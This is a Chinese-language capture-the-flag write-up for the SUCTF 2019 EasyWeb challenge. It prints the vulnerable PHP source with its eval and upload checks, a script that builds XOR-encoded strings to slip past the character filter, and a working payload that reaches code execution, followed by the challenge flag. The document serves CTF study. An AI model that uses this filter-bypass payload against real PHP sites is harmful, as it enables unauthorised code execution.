当前位置: 首页 > news >正文

141,【1】buuctf web [SUCTF 2019]EasyWeb

进入靶场

代码审计

<?php
// 定义函数get_the_flag,功能是处理文件上传相关操作
function get_the_flag() {// 注释说明:webadmin会每隔20分钟删除用户上传的文件$userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']);// 检查用户目录是否存在,如果不存在则创建if (!file_exists($userdir)) {mkdir($userdir);}// 检查是否有文件上传if (!empty($_FILES["file"])) {$tmp_name = $_FILES["file"]["tmp_name"];  // 获取上传文件在服务器上的临时文件名$name = $_FILES["file"]["name"];  // 获取上传文件的原始文件名// 获取上传文件的扩展名$extension = substr($name, strrpos($name, ".") + 1);// 检查扩展名是否包含"ph"(不区分大小写),如果包含则终止脚本执行if (preg_match("/ph/i", $extension)) die("^_^");// 检查上传文件内容是否包含"<?", 如果包含则终止脚本执行if (mb_strpos(file_get_contents($tmp_name), '<?')!== False) die("^_^");// 检查上传文件是否是有效的图像类型,不是则终止脚本执行if (!exif_imagetype($tmp_name)) die("^_^");$path = $userdir. "/" . $name;  // 构建上传文件的目标路径// 尝试将上传文件从临时位置移动到目标位置@move_uploaded_file($tmp_name, $path);print_r($path);  // 打印文件的保存路径}
}// 从GET请求参数中获取名为"_"的参数值,并赋值给变量$hhh
$hhh = @$_GET['_'];// 如果$hhh没有值,高亮显示当前文件内容
if (!$hhh) {highlight_file(__FILE__);
}// 如果$hhh的长度大于18,终止脚本执行并输出提示信息
if (strlen($hhh) > 18) {die('One inch long, one inch strong!');
}// 使用正则表达式检查$hhh是否包含特定字符集(包括一些常见字符和控制字符等),如果包含则终止脚本执行
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))die('Try something else!');// 获取$hhh中使用到的字符,并以字符形式返回
$character_type = count_chars($hhh, 3);
// 如果$character_type的长度大于12,终止脚本执行并输出提示信息
if (strlen($character_type) > 12) die("Almost there!");// 执行$hhh中的PHP代码,存在严重的代码执行漏洞风险
eval($hhh);
?>

 实现了文件上传功能,并对上传文件进行了一些限制和检查

条件好苛刻

<?php
// 初始化两个空字符串,用于存储生成的内容
$l = "";
$r = "";
// 将字符串_GET拆分成字符数组
$argv = str_split("_GET");
// 遍历字符数组中的每个字符
for ($i = 0; $i < count($argv); $i++) {// 遍历0到254的整数for ($j = 0; $j < 255; $j++) {// 将字符$j对应的ASCII码值与255进行按位异或操作,然后转换回字符$k = chr($j) ^ chr(255);// 如果异或结果与当前字符匹配if ($k == $argv[$i]) {// 如果$j小于16,在$r中添加十六进制表示时在前面补0if ($j < 16) {$l.= "%ff";$r.= "%0". dechex($j);continue;}$l.= "%ff";$r.= "%". dechex($j);continue;}}
}
// 输出包含$l、字符$和$r的字符串
echo "\{$l`$r\}";
?>

{%ff%ff%ff%ff`%a0%b8%ba%ab}

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 

flag{dc834348-3be9-4eff-abc1-150000430933} 

http://www.lryc.cn/news/538256.html

相关文章:

  • 破解微服务疑难杂症:2025年全解决方案
  • Node.js 中的 Event 模块详解
  • EasyRTC嵌入式WebRTC视频通话SDK支持Web浏览器、Linux、ARM、Android、iOS
  • pycharm社区版有个window和arm64版本,到底下载哪一个?还有pycharm官网
  • 【玩转全栈】----Django模板语法、请求与响应
  • 网络安全:挑战、技术与未来发展
  • DeepSeek 服务器繁忙的全面解决方案
  • 将OpenWrt部署在x86服务器上
  • 计算机视觉:卷积神经网络(CNN)基本概念(一)
  • 企业文件共享中的权限管理与安全风险防范
  • 使用DeepSeek建立一个智能聊天机器人0.12
  • 国家队出手!DeepSeek上线国家超算互联网平台!
  • Deep seek学习日记1
  • 乐理笔记(持续更新)
  • 【动态路由】系统Web URL资源整合系列(后端技术实现)【nodejs实现】
  • PHP高效、轻量级表格数据处理库 OpenSpout ,很好用
  • 2010年上半年软件设计师考试上午真题的知识点整理(附真题及答案解析)
  • EventSource的使用
  • 【第12章:深度学习与伦理、隐私—12.3 深度学习模型的透明性与可解释性提升策略】
  • RocketMq中RouteInfoManger组件的源码分析
  • java八股文-mysql
  • Cherno C++ P55 宏
  • MybatisMybatisPllus公共字段填充与配置逻辑删除
  • VS Code User和System版区别【推荐使用System版本】and VSCode+Keil协同开发之Keil Assistant
  • MongoDB:listDatabases failed : not master and slaveOk=false
  • Python的那些事第二十二篇:基于 Python 的 Django 框架在 Web 开发中的应用研究
  • 【ISO 14229-1:2023 UDS诊断(会话控制0x10服务)测试用例CAPL代码全解析④】
  • 图论入门算法:拓扑排序(C++)
  • 【CXX】2 CXX blobstore客户端说明
  • HTTP相关面试题